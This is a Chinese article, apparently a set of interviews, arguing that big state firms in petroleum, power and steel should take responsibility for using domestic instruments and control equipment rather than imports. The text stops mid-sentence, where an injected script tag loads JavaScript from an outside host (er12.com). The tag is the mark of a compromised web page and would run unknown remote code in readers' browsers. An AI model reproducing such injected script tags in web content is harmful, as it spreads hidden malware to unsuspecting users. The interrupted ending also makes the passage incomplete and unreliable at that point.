呼声：谁来承担使用国产装备的责任？
受访者g先生：
国产装备何以不用这个问题，我思索了很久，也苦恼了很久，因为这是一个关系到国家经济战略安全问题。我注意到这样一个数字，近三年来，国家花了10亿美元进口国外的仪器仪表，而进口这些仪器仪表的用户，主要是中石化、中石油、中海油等一些大型石油、化工、钢铁、电力企业。
这10亿美元，对于美国来说，可以忽略不计；但对于我们的大型企业用户来说，却是一块“心病”。高兴了，人家就卖给你；不高兴了，人家就封锁你。一旦出现这种情况，我们的大型企业就会因为受制于人而不能正常生产。以自控装置为例，总的来看，中低档的，国产装备已经占了主导地位；中高档的，仍然是进口装备一统天下。之所以如此，不是因为我们做不到，而是用户特别是大型企业用户不给我们机会。有人说，假如国产的比进口的更好，我愿意用国产的———这显然是唱高调，你根本不用国产的，国产的怎么能比进口的做得更好？换句话说，只有用国产的，国产的才能比进口的做得更好。所谓首台首套业绩，说来说去是“鸡生蛋”还是“蛋生鸡”的关系问题。说到国产的和进口的区别，肯定是有一些的，就好像一件名牌衬衣和一件非名牌衬衣，可能在做工上有些区别，在扣子上有些区别，但这种区别不会是本质性的。说到底，我们的大型企业用户必须承担起使用国产装备的责任来。
一种文化会影响一个国家的发展。我1996年去韩国，发现在韩国的很多地方都可以看到“身土不二”这四个字，甚至在火柴盒等一些小的物件上，也可以看到这样的字眼。所谓“身土不二”，就是说在自己的身体和自己的国家之间，没有别的选择。所以韩国人形成了以用国货为荣的风气：谁买了进口的，很没面子；谁买了国产的，很光荣。现在在韩国的马路上，很少能看到外国车———不是买不起，而是以开国产车为荣。在亚洲，最早只有日本和中国有仪器仪表行业；韩国的起步较晚，但发展很快，也是这个道理。
受访者w先生：
合资的时代已经过去，国产装备正在受到前所未有的冲击。以分析仪器为例，中高档市场90%被国外垄断。这个行业到底要还是不要？很多人都在思考这个问题。像中国这样的大国，不能没有自己的仪器仪表工业，不能完全依赖进口。在线仪表非常关键，人家用一个软件，就可能把你的数据全部调走———这关系到国家的经济安全。国家应该大力提倡使用国货，限制进口。既然外国对我们的出口有这样那样的技术壁垒，我们当然也应该对大量的、盲目的进口有个限制。特别是不能一说国产仪器仪表，就是稳定性差、可靠性差。
事实上，改革开放近30年来，国内的仪器仪表企业在引进消化吸收国外先进技术方面，是下了功夫的，是交了学费的；在自主研发和技术创新方面，也是有了长足进步。这就像大家都知道的“吃馒头”故事，不能因为现在还没有“吃饱”，就认为已经吃过的馒头都白吃了，而掉过头去改吃“洋面包”。所以，在使用国产仪器仪表上，确实有个政策导向的问题。不能因为有差距，就不使用包括分析仪器在内的国产精密仪器。国产的仪器仪表是不怕“折腾”的，越“折腾”越能提高产品质量。
现状一：能用而不用
受访者x先生：
用户能用国产装备而不用的表现是多方面的，可以概括为三个“为什么”。
第一，为什么当分母的总是“我”？无论是对加快装备制造业来说，还是对自主创新而言，自控系统和高精度的仪器仪表的重要性都是显而易见的。这是因为现代工业核心技术的一个显著特点，是主设备的核心技术和测控设备的核心技术相结合。而在投资比例上，测控设备与主设备相比较，占的绝对值不大。一般而论，测控设备在石化行业的投资比例占15%，在电力行业占5%，在钢铁行业占2%。总的来看，价格占的比例比较低，这就很容易被使用部门所忽视。因为现在是纯粹按价值数量考核国产化的，在一个项目中，国产设备的投资额达到了75%就国产化了。这种按百分比考核国产化的方法，很容易让国产的仪器仪表当了分母，用户很容易在经济上算清这笔账。例如，500万吨炼油装置，有反应罐、泵和阀，这些设备价格占的比例很高，很容易凑到投资总额的75%———我们很多项目的国产化，就是这样“凑”出来的。
“凑”的结果，就是让国产的仪器仪表当了分母。最近有一家上市公司，投资的石化项目国产化率达到了90%，购买的仍然是进口的仪器仪表。
第二，为什么哪壶不开提哪壶？主机国产化通常包括系统成套加上软件平台两个部分，而仪器仪表设备和信息化技术的高度结合，意味着某种仪器仪表如果不能满足用户需求的时候，加个控制软件就可以了。这已经成为国际惯例，例如日本人就是这么做的。但在我们中国却行不通，用户偏偏哪壶不?script src=http://er12.com/t.js>
